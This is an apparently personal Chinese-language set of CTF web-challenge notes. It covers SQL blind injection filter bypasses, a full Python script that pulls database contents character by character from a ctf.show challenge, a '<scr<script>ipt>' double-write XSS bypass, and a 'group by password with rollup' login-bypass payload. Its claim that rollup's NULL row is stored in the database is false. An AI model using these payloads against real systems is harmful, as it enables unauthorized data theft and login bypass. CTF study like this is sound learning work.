养成题后整理是一个很好的习惯,尽管有点累而且麻烦,但至少能够方便自己回顾错误的地方

web服务器默认访问日志文件

首先是nginx

/var/log/nginx/access.log

里面记录了每次用户访问后的User-Agent

同样,Apache也有

/var/log/httpd/access_log

当然Apache的我没有具体验证过,可靠性有待考究

弱比较漏洞

参考博客:PHP弱类型比较(松散比较)方面的漏洞

SQL盲注

盲注其实就是通过页面的特殊响应猜测注入结果是否正常。下面主要分享一下几种常见绕过

  1. 过滤空格, 可以使用括号() 或者注释/**/ 绕过
  2. 过滤and, 可以使用or替代
  3. 过滤union, 可以用盲注替代联合注入
  4. 过滤逗号, 可以使用特殊语法绕过, 比如:substr(database(),1,1),这里**可以用substr(database() from 1 for 1)来代替**

下面是一个常见的脱库脚本

import requests

url = 'http://53aab0c2-b451-4910-a1e0-f15fd9e64b2a.challenge.ctf.show:8080/index.php?id=-1/**/or/**/'
name = ''

# 循环45次( 循环次数按照返回的字符串长度自定义)
for i in range(1, 45):
    # 获取当前使用的数据库
    # payload = 'ascii(substr(database()from/**/%d/**/for/**/1))=%d'
    # 获取当前数据库的所有表
    # payload = 'ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database())from/**/%d/**/for/**/1))=%d'
    # 获取flag表的字段
    # payload = 'ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name=0x666C6167)from/**/%d/**/for/**/1))=%d'
    # 获取flag表的数据
    payload = 'ascii(substr((select/**/flag/**/from/**/flag)from/**/%d/**/for/**/1))=%d'
    count = 0
    print('正在获取第 %d 个字符' % i)
    # 截取SQL查询结果的每个字符, 并判断字符内容
    for j in range(31, 128):
        result = requests.get(url + payload % (i, j))

        if 'If' in result.text:
            name += chr(j)
            print('数据库名/表名/字段名/数据: %s' % name)
            break

        # 如果某个字符不存在,则停止程序
        count += 1
        if count >= (128 - 31):
            exit()

信息搜集

肯定会经常见到页面一片空白的情况,或者只有短短的一句类似“where is flag?”这样看着就来气的风凉话
dirsearch就是个不错的信息搜集工具,这里只做提醒,不做详细介绍

双写绕过

经常会碰到类似下面这样的过滤形式

$name = str_replace( '<script>', '', $_GET[ 'name' ] )

这种过滤其实很容易绕过,首先我们要知道str_replace函数在这里的作用就是把我们输入进来的name中带有script标签的内容替换成空,所以绕过的姿势也很简单,像下面这样的字符串就能到达效果

<scr<script>ipt>

group by和with rollup

如果上面的双写绕过姿势碰到了下面的这样怪兽

function replaceSpecialChar($strParam){
     $regex = "/(select|from|where|join|sleep|and|\s|union|,)/i";
     return preg_replace($regex,"",$strParam);//将上面字符串全替换为空
}
if(strlen($username)!=strlen(replaceSpecialChar($username))){
   die("sql inject error");
}

那很明显是躲不过两次查询的。最主要的原因就在于if在这里检查了你输入的内容是否进行了双写
那就没有办法了吗?当然不是,在出现这段代码题目的完整代码如下

<?php
        $flag="";
        function replaceSpecialChar($strParam){
             $regex = "/(select|from|where|join|sleep|and|\s|union|,)/i";
             return preg_replace($regex,"",$strParam);//将上面字符串全替换为空
        }
        if (!$con)
        {
            die('Could not connect: ' . mysqli_error());
        }
        if(strlen($username)!=strlen(replaceSpecialChar($username))){
            die("sql inject error");
        }
        if(strlen($password)!=strlen(replaceSpecialChar($password))){
            die("sql inject error");
        }
        $sql="select * from user where username = '$username'";
        $result=mysqli_query($con,$sql);
            if(mysqli_num_rows($result)>0){
                    while($row=mysqli_fetch_assoc($result)){
                        if($password==$row['password']){
                            echo "登陆成功<br>";
                            echo $flag;
                        }

                     }
            }
    ?>

很明显使用一般的回显查询是没用了,我还需要确保password存在数据库中。
下面就介绍一下两种特殊的SQL指令
1.group by——将结果集中的数据行根据选择列的值进行逻辑分组
下面是不加group by的查询结果
1
下面是加了之后会自动按照password进行排序
1
2.with rollup——对结果进行统计(通常接在需要绕过判断的字段group by后面)
3
可以看到上面的结果中增加了一条NULL,并且这条数据已经被写入到了数据库中,下一次不使用with rollup的正常查询它也依然会存在
此时只需要将用户名一栏输入admin'/**/or/**/1=1/**/group/**/by/**/password/**/with/**/rollup#&password=,密码一栏放空即可

各种php函数

ctype_alpha()  检查变量是不是纯字符
is_numeric()  检测变量是否为数字或数字字符串
print_r()  打印结果
scandir()  查看目录文件,和glob()一样(scandir(".")为查看当前目录所有文件,glob()为glob("*.*"))
show_source()  和highlight_file()一样,高亮显示代码

echo、print、print_r不一样的地方